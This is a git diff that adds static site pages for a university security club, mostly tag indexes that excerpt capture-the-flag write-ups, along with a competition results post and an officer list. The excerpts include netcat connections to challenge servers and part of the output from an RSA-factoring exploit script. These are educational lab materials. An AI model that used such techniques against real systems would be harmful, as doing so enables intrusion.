\ No newline at end of file diff --git a/tags/index.xml b/tags/index.xml new file mode 100644 index 0000000..1767c5e --- /dev/null +++ b/tags/index.xml @@ -0,0 +1 @@ +Codestin Search Apphttps://osusec.org/tags/Recent content in Tags on OSU Security ClubHugo -- gohugo.ioen-usMon, 24 Apr 2023 00:00:00 -0700Codestin Search Apphttps://osusec.org/tags/elections/Mon, 24 Apr 2023 00:00:00 -0700https://osusec.org/tags/elections/Codestin Search Apphttps://osusec.org/tags/nsacc21/Wed, 05 Jan 2022 00:00:00 -0700https://osusec.org/tags/nsacc21/Codestin Search Apphttps://osusec.org/tags/cyberforce/Sun, 21 Nov 2021 00:00:00 -0700https://osusec.org/tags/cyberforce/Codestin Search Apphttps://osusec.org/tags/2021-2022-elections/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/tags/2021-2022-elections/Codestin Search Apphttps://osusec.org/tags/0x41414141-ctf/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/tags/0x41414141-ctf/Codestin Search Apphttps://osusec.org/tags/crowdstrike-adversary-quest/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/tags/crowdstrike-adversary-quest/Codestin Search Apphttps://osusec.org/tags/bsidespdx2020/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/tags/bsidespdx2020/Codestin Search Apphttps://osusec.org/tags/ekoparty2020/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/tags/ekoparty2020/Codestin Search Apphttps://osusec.org/tags/fwordctf2020/Mon, 31 Aug 2020 00:00:00 -0700https://osusec.org/tags/fwordctf2020/Codestin Search Apphttps://osusec.org/tags/nahamconctf/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/tags/nahamconctf/Codestin Search Apphttps://osusec.org/tags/houseplantctf/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/tags/houseplantctf/Codestin Search Apphttps://osusec.org/tags/ijctf/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/tags/ijctf/Codestin Search Apphttps://osusec.org/tags/bytebandits/Sun, 12 Apr 2020 00:00:00 -0700https://osusec.org/tags/bytebandits/Codestin Search Apphttps://osusec.org/tags/auctf/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/tags/auctf/Codestin Search Apphttps://osusec.org/tags/midnightctf/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/tags/midnightctf/Codestin Search Apphttps://osusec.org/tags/fireshellctf/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/tags/fireshellctf/Codestin Search Apphttps://osusec.org/tags/tamuctf/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/tags/tamuctf/Codestin Search Apphttps://osusec.org/tags/volgactf/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/tags/volgactf/Codestin Search Apphttps://osusec.org/tags/angstromctf/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/tags/angstromctf/Codestin Search Apphttps://osusec.org/tags/codebreaker/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/tags/codebreaker/Codestin Search Apphttps://osusec.org/tags/hitconctf2018/Mon, 22 Oct 2018 00:00:00 -0700https://osusec.org/tags/hitconctf2018/Codestin Search Apphttps://osusec.org/tags/cdc/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/tags/cdc/Codestin Search Apphttps://osusec.org/tags/csaw/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/tags/csaw/Codestin Search Apphttps://osusec.org/tags/ctf/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/tags/ctf/ \ No newline at end of file diff --git a/tags/midnightctf/index.html b/tags/midnightctf/index.html new file mode 100644 index 0000000..ffecdb0 --- /dev/null +++ b/tags/midnightctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

midnightctf

MidnightsunCTF logo

MidnightsunCTF Snake++

Prompt

141 points, 38 solves

Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc …

Read More

\ No newline at end of file diff --git a/tags/midnightctf/index.xml b/tags/midnightctf/index.xml new file mode 100644 index 0000000..09172c3 --- /dev/null +++ b/tags/midnightctf/index.xml @@ -0,0 +1,3 @@ +Codestin Search Apphttps://osusec.org/tags/midnightctf/Recent content in midnightctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 05 Apr 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/midnightsunctf-snake/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/midnightsunctf-snake/Prompt 141 points, 38 solves +Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555 +Solution When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake). \ No newline at end of file diff --git a/tags/nahamconctf/index.html b/tags/nahamconctf/index.html new file mode 100644 index 0000000..f0924c7 --- /dev/null +++ b/tags/nahamconctf/index.html @@ -0,0 +1,8 @@ + +Codestin Search App

nahamconctf

NahamConCTF banner

NahamConCTF - Tron

75 points

Prompt

NahamConTron is up to more shenanigans. Find his server.

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > …

Read More

NahamConCTF banner

NahamConCTF - Time Keeper

50 points

Prompt

There is some interesting stuff on this website. Or at least, I thought there was…

Connect here: https://apporima.com/

Note, this flag is not in the usual format.

Solution

After …

Read More

NahamConCTF

NahamConcTF - Microosoft

100 points

Prompt

We have to use Microsoft Word at the office!? Oof…

Download the file below.

File

Solution

Opening the file does not do much, but it would not be that easy.

Screenshot of open Word document spelling &ldquo;oof&rdquo;

Using file we can find …

Read More

NahamConCTF banner

NahamConCTF - Finsta

50 points

Prompt

This time we have a username. Can you track down NahamConTron?

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username …

Read More

NahamConCTF banner

NahamConCTF - Fake File

100 points

Prompt

Wait… where is the flag?

Connect here: nc jh2i.com 50026

Solution

Let’s nc to that server and see what’s up:

$ nc jh2i.com 50026
+
+bash: cannot set terminal process group (1): …

Read More

\ No newline at end of file diff --git a/tags/nahamconctf/index.xml b/tags/nahamconctf/index.xml new file mode 100644 index 0000000..b8d6550 --- /dev/null +++ b/tags/nahamconctf/index.xml @@ -0,0 +1,25 @@ +Codestin Search Apphttps://osusec.org/tags/nahamconctf/Recent content in nahamconctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 14 Jun 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/nahamconctf-finsta/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-finsta/50 points +Prompt This time we have a username. Can you track down NahamConTron? +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites, including Instagram. +Checking out the Instagram account, we get the flag. +flag{i_feel_like_that_was_too_easy} ~ LyellCodestin Search Apphttps://osusec.org/blog/nahamconctf-microosoft/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-microosoft/100 points +Prompt We have to use Microsoft Word at the office!? Oof… +Download the file below. +File +Solution Opening the file does not do much, but it would not be that easy. +Using file we can find out that this is an OOXML document: +$ file microsooft.docx microsooft.docx: Microsoft OOXML Based on this, and some quick reading, we can see that this format can contain files. To view these files, I first tried this chrome extension, before settling on getting a trial licensed version of OxygenXML.Codestin Search Apphttps://osusec.org/blog/nahamconctf-time-keeper/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-time-keeper/50 points +Prompt There is some interesting stuff on this website. Or at least, I thought there was… +Connect here: https://apporima.com/ +Note, this flag is not in the usual format. +Solution After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then. +First, I noted that there were only two captures, so I figured it would be worth it to compare them.Codestin Search Apphttps://osusec.org/blog/nahamconctf-tron/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-tron/75 points +Prompt NahamConTron is up to more shenanigans. Find his server. +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites: +Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for NahamConTron and systematically eliminated them.Codestin Search Apphttps://osusec.org/blog/nahamconctf-fake-file/Wed, 01 Apr 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-fake-file/100 points +Prompt Wait… where is the flag? +Connect here: nc jh2i.com 50026 +Solution Let’s nc to that server and see what’s up: +$ nc jh2i.com 50026 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell user@host:/home/user$ ls -lah ls -lah total 12K dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. -rw-r--r-- 1 user user 52 Jun 12 17:10 . \ No newline at end of file diff --git a/tags/nsacc21/index.html b/tags/nsacc21/index.html new file mode 100644 index 0000000..86bd084 --- /dev/null +++ b/tags/nsacc21/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

nsacc21

NSA Codebreaker Challenge logo

NSA Codebreaker Challenge 2021

On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and …

Read More

\ No newline at end of file diff --git a/tags/nsacc21/index.xml b/tags/nsacc21/index.xml new file mode 100644 index 0000000..0eda5be --- /dev/null +++ b/tags/nsacc21/index.xml @@ -0,0 +1,3 @@ +Codestin Search Apphttps://osusec.org/tags/nsacc21/Recent content in nsacc21 on OSU Security ClubHugo -- gohugo.ioen-usWed, 05 Jan 2022 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2021/Wed, 05 Jan 2022 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2021/On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11. +Some more statistics about the competition are below: +Confirmed Public Participants: 5,465 Schools Registered: 631 Task Completions: Task 0: 3,335 Task 1: 2,352 Task 2: 1,385 Task 3: 1,098 Task 4: 778 Task 5: 688 Task 6: 418 Task 7: 196 Task 8: 56 Task 9: 55 Task 10: 42 PCAP Downloads: 3,650 This was a great effort from our team over the course of several months. \ No newline at end of file diff --git a/tags/tamuctf/index.html b/tags/tamuctf/index.html new file mode 100644 index 0000000..13d8471 --- /dev/null +++ b/tags/tamuctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

tamuctf

TAMUCTF logo

TAMUCTF RSAPWN

Prompt

We must train the next generation of hackers.

nc challenges.tamuctf.com 8573

Solution

It looks like this just asks us to find the two “big prime” factors of the number provided, and return …

Read More

TAMUCTF logo

TAMUCTF - WOOF_WOOF

Prompt

(I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :()

The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... …

Read More

TAMUCTF logo

TAMUCTF - RUSSIAN_NESTING_DOLLS

Prompt

Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look?

Files: netlogs.pcap …

Read More

TAMUCTF logo

TAMUCTF - GEOGRAPHY

Prompt

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She’s always been a bit cryptic. …

Read More

TAMUCTF Logo

TAMUCTF - ALCAPONE

Prompt

Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look …

Read More

\ No newline at end of file diff --git a/tags/tamuctf/index.xml b/tags/tamuctf/index.xml new file mode 100644 index 0000000..80b8c7e --- /dev/null +++ b/tags/tamuctf/index.xml @@ -0,0 +1,13 @@ +Codestin Search Apphttps://osusec.org/tags/tamuctf/Recent content in tamuctf on OSU Security ClubHugo -- gohugo.ioen-usSun, 29 Mar 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/tamuctf-alcapone/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-alcapone/Prompt Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? +(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it.Codestin Search Apphttps://osusec.org/blog/tamuctf-geography/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-geography/Prompt My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. +She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what? +Solution Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps).Codestin Search Apphttps://osusec.org/blog/tamuctf-russian_nesting_dolls/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-russian_nesting_dolls/Prompt Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look? +Files: netlogs.pcap +Solution Opening the PCAP up in wireshark shows that there are quite a few (37991) DNS packets, as well as a smattring of others (Statistics &gt; Protocol Hierarchy). Let’s look at the remaining packets first, as there are only a few of them:Codestin Search Apphttps://osusec.org/blog/tamuctf-woof_woof/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-woof_woof/Prompt (I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() +The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... +reveille.png +Solution After running strings on the image to no result, we open this image up in stegsolve, and examine the file format Analyze &gt; File Format. We see the usual stuff, except for: +Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: .Codestin Search Apphttps://osusec.org/blog/tamuctf-rsapwn/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-rsapwn/Prompt We must train the next generation of hackers. +nc challenges.tamuctf.com 8573 +Solution It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. Athos’ script does exactly that: +python3 ./exploit.py [+] Opening connection to challenges.tamuctf.com on port 8573: Done b&#39;We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (&lt;= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied. \ No newline at end of file diff --git a/tags/volgactf/index.html b/tags/volgactf/index.html new file mode 100644 index 0000000..a1367d4 --- /dev/null +++ b/tags/volgactf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

volgactf

The VolgaCTF logo

VolgaCTF - excellent-crackme

Prompt

Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this…

excel_crackme

Solution

An excel challenge – that’s a first for us! Let’s crack that file open. We …

Read More

\ No newline at end of file diff --git a/tags/volgactf/index.xml b/tags/volgactf/index.xml new file mode 100644 index 0000000..8356473 --- /dev/null +++ b/tags/volgactf/index.xml @@ -0,0 +1,3 @@ +Codestin Search Apphttps://osusec.org/tags/volgactf/Recent content in volgactf on OSU Security ClubHugo -- gohugo.ioen-usSun, 29 Mar 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/volgactf-excellent-crackme/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/volgactf-excellent-crackme/Prompt Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this… +excel_crackme +Solution An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice. \ No newline at end of file diff --git a/wicys/index.html b/wicys/index.html new file mode 100644 index 0000000..14bb488 --- /dev/null +++ b/wicys/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

WiCyS @ OSU

About WiCyS @ OSU

TBA

Their website is in progress!

Current leadership:

  • President: Abigail Whittle
  • Vice President: Grace Parrish
  • Treasurer: Alexa Baruela
  • Relations Officer: Mayra Solorio
  • Event Coordinator: Jordan White
  • Secretary: Jacquelyn Sansone
  • Web Master: Jamie Dang
\ No newline at end of file